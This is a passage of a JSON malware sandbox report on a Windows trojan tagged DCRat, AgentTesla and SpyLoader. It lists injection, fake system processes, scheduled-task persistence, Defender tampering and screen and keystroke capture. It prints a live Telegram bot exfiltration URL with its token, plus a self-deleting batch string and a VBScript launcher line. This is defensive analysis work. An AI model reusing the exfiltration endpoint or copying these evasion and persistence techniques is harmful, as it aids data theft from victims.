Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Installation/Persistence","name":"Queues an Asynchronous Procedure Call (APC) in a remote process (injection)","description":"\"serverDriver.exe\" called \"NtQueueApcThread\" (UID: 00000000-00005820)","origin":"API Call","mitre_attack_id":"T1055.004","relevance":3,"id":"api-85","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in program files directory","description":"\"serverDriver.exe\" touched file \"C:\\Program Files (x86)\\Windows Portable Devices\\csrss.exe\"\n \"serverDriver.exe\" touched file \"C:\\Program Files (x86)\\Windows Portable Devices\\886983d96e3d3e\"","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-113","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access Powershell profile file","description":"\"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"C:\\Users\\%OSUSER%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\MICROSOFT.POWERSHELL_PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\PROFILE.PS1\"\n \"powershell.exe\" trying to access file \"%USERPROFILE%\\Documents\\WINDOWSPOWERSHELL\\MICROSOFT.POWERSHELL_PROFILE.PS1\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-173","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with C2 using Sockets (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00003048.00000000.67625.734C1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1095","relevance":1,"id":"string-228","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00005820-00000C26-105520614\")\n Found reference to API \"WinHttpOpen\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00005820-00000C26-108746542\")\n Found reference to API \"WinHttpOpenW\" (Indicator: \"WinHttpOpen\"; Source: \"00000000-00005820-00000C26-108746643\")\n Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00005820-00000C26-117610623\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00005820-00000C26-117611211\")\n Found reference to API \"WSAStartup\" (Indicator: \"WSAStartup\"; Source: \"00000000-00003048.00000000.67625.734C1000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Network Related","name":"Found domain strings related to cloud services(possible C&C communication)","description":"file/memory contains long string with (Indicator: \"githubusercontent.com\"; File: \"OMNykNRPuf\")\n Found string \"api.telegram.org\" (Indicator: \"api.telegram.org\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1102","relevance":1,"id":"string-186","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"$60","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /ip HTTP/1.1Host: ipinfo.io\n Connection: Keep-Alive\n\n GET /country HTTP/1.1H o s t : i p i n f o . i o \n \n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: bd0bf25947d4a37404f0424edf4db9ad\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Network Related","name":"Making HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://ipinfo.io/ip\n Found HTTPS GET request to https://ipinfo.io/country\n Found HTTPS POST request to https://api.telegram.org/bot6439107781:AAHfdMjmCFRBOdfSPqk4mJiq9xfX45g9vHY/sendPhoto","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Network Related","name":"Short term SSL Certificate Detected","description":" Short term registered certificate","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"34.117.186.192\" on port \"443\"\n HTTPS traffic to \"149.154.167.220\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES Encryption","description":"YARA signature for AES encryption matched on file \"00000000-00003688.00000001.78124.04772000.00000002.mdmp\"\n YARA signature for AES encryption matched on file \"00000000-00003688.00000001.78124.04792000.00000002.mdmp\"\n YARA signature for AES encryption matched on file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"$61","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"serverDriver.exe\" called \"GetUserNameW\" (UID: 00000000-00005820)\n \"serverDriver.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API's typically used for searching a directory for a files","description":"$62","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$63","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"$64","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve SID for the specified name (API string)","description":"Found reference to API \"LookupAccountNameW\" (Indicator: \"LookupAccountName\"; Source: \"00000000-00003048.00000000.67625.00CD9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1087","relevance":1,"id":"string-452","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"11821934676,4988,3024,,RtlGetVersion,NTDLL.dll,\"00:17:30.921\",RX=0,PX=0\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00000764.00000000.67260.03590000.00000004.mdmp\")\n Found reference to API \"143244879726,6980,3025,,RtlGetNtProductType,NTDLL.dll,\"00:19:29.812\",RX=0,PX=0\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00001404.00000002.75174.6BA70000.00000004.mdmp\")\n Found reference to API \"145173735972,2088,3025,,RtlGetNtProductType,NTDLL.dll,\"00:19:30.625\",RX=0,PX=0\" (Indicator: \"RtlGetNtProductType\"; Source: \"00000000-00001404.00000002.75174.6BA70000.00000004.mdmp\")\n Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00003048.00000000.67625.73551000.00000002.mdmp, 00000000-00003048.00000000.67625.73695000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"MapVirtualKeyExW\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00000764.00000000.67260.73487000.00000002.mdmp\")\n Found reference to API \"MapVirtualKeyW\" (Indicator: \"MapVirtualKey\"; Source: \"00000000-00000764.00000000.67260.73487000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"00000000-00003048.00000000.67625.73551000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve usernames and/or user information (API string)","description":"$65","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Imports GetCommandLine API","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: bounty-11274888870579111]","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-88","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Read system defined device setup information from registry","description":"\"bounty-11274888870579111.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0001\"; Key: \"PRUNINGMODE\")\n \"serverDriver.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\CLASS\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0001\"; Key: \"PRUNINGMODE\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-106","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Contains ability to bypass UAC using COM object (API string)","description":"Found reference to API \"CoGetObject\" (Indicator: \"CoGetObject\"; Source: \"00000000-00003048.00000000.67625.73551000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1548.002","relevance":1,"id":"string-239","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Contains ability to create process with token (API string)","description":"Found reference to API \"ImpersonateLoggedOnUser\" (Indicator: \"ImpersonateLoggedOnUser\"; Source: \"00000000-00003048.00000000.67625.00CD9000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1134.002","relevance":1,"id":"string-168","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files","description":"Observed string: \"@echo offchcp 65001w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nulstart \"\" \"C:\\found.000\\dir0011.chk\\AutoIt3_x64.exe\"del /a /q /f \"C:\\Users\\iZfmHIc\\AppData\\Local\\Temp\\\\hdvdfARUms.bat\"\" (Indicator: \"\"del \") in Source: hdvdfARUms.bat\n Observed string: \"del /a /q /f \"C:\\Users\\iZfmHIc\\AppData\\Local\\Temp\\\\hdvdfARUms.bat\"\" (Indicator: \"del \") in Source: hdvdfARUms.bat","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-408","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete registry key/value (API string)","description":"Found reference to API \"RegDeleteKeyExW\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00000764.00000000.67260.73421000.00000020.mdmp\")\n Found reference to API \"RegDeleteKeyW\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00000764.00000000.67260.73421000.00000020.mdmp\")\n Found reference to API \"RegDeleteValueW\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00000764.00000000.67260.73487000.00000002.mdmp\")\n Found reference to API \"RegDeleteKeyA\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00003048.00000000.67625.00CD9000.00000002.mdmp\")\n Found reference to API \"RegDeleteValueW\" (Indicator: \"RegDeleteValue\"; Source: \"00000000-00003048.00000000.67625.73551000.00000002.mdmp\")\n Found reference to API \"RegDeleteKeyW\" (Indicator: \"RegDeleteKey\"; Source: \"00000000-00003048.00000000.67625.73551000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify Windows Defender preferences (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-275","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: 00000000-00005820-00000C26-117997313","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"\"serverDriver.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\")\n \"serverDriver.exe\" (Access type: \"SETVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\BAM\\USERSETTINGS\\S-1-5-21-735145574-3570218355-1207367261-1001\"; Key: \"\\DEVICE\\HARDDISKVOLUME2\\WINDOWS\\SYSTEM32\\CMD.EXE\"; Value: \"4416494DE780DA0100000000000000000000000002000000\")","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"System Security","name":"Uses powershell with a add-mppreference commandline param","description":"$66","origin":"Monitored Target","mitre_attack_id":"T1562","relevance":3,"id":"target-236","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to set/modify configuration (Powershell command string)","description":"file/memory contains long string with (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n file/memory contains long string with (Indicator: \"Set-MpPreference\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"& { Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $this.Exception.InnerException.PSMessageDetails }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.ErrorCategory_Message }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")\n Found string \"{ Set-StrictMode -Version 1; $_.OriginInfo }\" (Indicator: \"Set-StrictMode\"; File: \"AMSI\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-395","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Unusual Characteristics","name":"Drops files inside appdata directory","description":"Dropped file: \"serverDriver.exe.log\" - Location: [%LOCALAPPDATA%\\Microsoft\\CLR_v4.0\\UsageLogs\\serverDriver.exe.log]- [targetUID: 00000000-00005820]\n Dropped file: \"StartupProfileData-NonInteractive\" - Location: [%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive]- [targetUID: 00000000-00005180]","origin":"Binary File","mitre_attack_id":"T1036","relevance":3,"id":"binary-37","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"informative","category":"Unusual Characteristics","name":"Matched Compiler/Packer signature","description":"\"bounty-11274888870579111\" was detected as \"VC8 -> Microsoft Corporation\"\n \"csrss.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"serverDriver.exe\" is allocating memory with PAGE_GUARD access rights (Handle: 4294967295); (PID: 5820)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Writes a PE file header to disc","description":"$67","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 34.117.186.192 on port 443 is sent without HTTP header\n TCP traffic to 149.154.167.220 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found an instant messenger related domain","description":"\"api.telegram.org\" (Indicator: \"telegram.org\"; File: \"PCAP\")","origin":"File/Memory","relevance":10,"id":"string-61","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Found system commands related strings","description":"Found string \"chcp 65001\" (Indicator: \"chcp\"; File: \"hdvdfARUms.bat\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Tries to access/write temporary files","description":"Process \"%WINDIR%\\System32\\cmd.exe\" with commandline \"/C \"%TEMP%\\\\hdvdfARUms.bat\"\" (UID: 00000000-00002712)","origin":"Monitored Target","mitre_attack_id":"T1074.001","relevance":5,"id":"target-423","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Found decoded Javascript strings","description":"\"WScript.Shell\"\n \"WScript.Sleep\"\n \"WshShell.Run\"\n \"jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6QE.bat\"\n \"Copyright (C) Microsoft Corporation. All rights reserved.Set WshShell = CreateObject(\"WScript.Shell\")WScript.Sleep(1000)Set WshShell = CreateObject(\"WScript.Shell\")WshShell.Run \"C:/msComwin//jPMpoQeQp16cuCKUjlVM4BatpZBs5KbDfkAsAnootEh6QE.bat\", 0, false\"","origin":"File/Memory","relevance":10,"id":"string-33","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"FindFirstFileW\n GetFileAttributesW\n OpenFileMappingW\n GetTempPathW\n DeviceIoControl\n GetModuleFileNameW\n IsDebuggerPresent\n GetModuleFileNameA\n LoadLibraryExA\n UnhandledExceptionFilter\n LoadLibraryExW\n CreateThread\n GetSystemDirectoryW\n TerminateProcess\n GetModuleHandleExW\n LoadLibraryW\n GetVersionExW\n GetTickCount\n VirtualProtect\n GetStartupInfoW\n CreateDirectoryW\n DeleteFileW\n GetProcAddress\n CreateFileMappingW\n WriteFile\n FindFirstFileExA\n FindNextFileW\n FindNextFileA\n CreateFileW\n GetSystemInfo\n LockResource\n GetCommandLineW\n GetCommandLineA\n MapViewOfFile\n GetModuleHandleW\n FindResourceW\n Sleep","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Creates a fake system process","description":"Process \"csrss.exe\" at non-system pathway \"%PROGRAMFILES%\\(x86)\\Windows Portable Devices\\csrss.exe\" (UID: 00000000-00004892)","origin":"Monitored Target","mitre_attack_id":"T1036.005","relevance":10,"id":"target-33","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"malicious","category":"Anti-Detection/Stealthyness","name":"Found a system process name at an unusual pathway","description":"Process \"csrss.exe\" has a system process name but is not located in a Windows (sub-)directory (UID: 00000000-00004892)","origin":"Monitored Target","mitre_attack_id":"T1036.005","relevance":3,"id":"target-94","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"malicious","category":"External Systems","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","origin":"External System","relevance":10,"id":"avtest-8","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"malicious","category":"Installation/Persistence","name":"Drops executable files to the Windows system directory","description":"File type \"MS-DOS executable PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows MZ for MS-DOS\" was dropped at \"%WINDIR%\\System32\\wo-SN\\conhost.exe\"","origin":"Binary File","mitre_attack_id":"T1036","relevance":7,"id":"binary-7","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"malicious","category":"Installation/Persistence","name":"Loads the task scheduler COM API","description":"\"schtasks.exe\" loaded module \"%WINDIR%\\System32\\taskschd.dll\" at 63FD0000","origin":"Loaded Module","mitre_attack_id":"T1559.001","relevance":5,"id":"module-4","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"malicious","category":"Installation/Persistence","name":"Schedules a task to be executed at a specific time and date","description":"$68","origin":"Monitored Target","mitre_attack_id":"T1053.005","relevance":8,"id":"target-13","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$69","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"malicious","category":"Network Related","name":"Found a reference to an external IP address lookup service","description":"\"ipinfo.io\" (Indicator: \"ipinfo.io\"; File: \"PCAP\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":6,"id":"string-56","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"ipinfo.io\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$6a","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]}],"incidents":[{"name":"Spyware","details_count":1,"details":[{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"Fingerprint","details_count":2,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Marks file for deletion"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Schedules a task to be executed at a specific time and date"},{"detail":"Spawns a lot of processes"},{"detail":"Creates a fake system process"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]}]},"activity":{"stats":{"process_count":50,"spawned_processes_count":50,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":27,"imported_dlls_count":200,"dropped_files_count":0,"extracted_files_count":22,"files_written_count":57,"files_deleted_count":0,"registry_keys_created_count":37,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":37,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["dcrat","sabsik","evasive","agenttesla","spyloader","trojan"],"sample_flags":["Multi-Process","Extracted Files","Network Traffic"],"sandbox_reports":[{"id":"6a77198e97aad2ee8f029f40","environment_id":100,"environment_description":"Windows 7 32 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Uztuby","submit_name":"0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199","analysis_start_time":"2026-08-08T11:57:04+00:00","indicators_count":{"informative":193,"suspicious":42,"malicious":5},"tags":["Multi-Process","Extracted Files"],"is_in_unified_schema":true},{"id":"6604de675187c4132f0263db","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["GBR","USA"],"submit_name":"bounty-11274888870579111","analysis_start_time":"2024-03-28T03:05:11+00:00","indicators_count":{"informative":210,"suspicious":60,"malicious":11},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"34.117.186.192","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"address":"149.154.167.220","port":443,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]}],"dns_resolutions":[{"domain":"api.telegram.org","address":"149.154.167.220","ttl":146,"country":"United Kingdom","registrar_name":"GoDaddy.com, LLC","registrar_organization":"Domains By Proxy, LLC","registrar_name_servers":"NS-CLOUD-B1.GOOGLEDOMAINS.COM","registrar_creation_date":"2003-12-15T14:48:05+00:00","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"domain":"ipinfo.io","address":"34.117.186.192","ttl":2,"country":"United 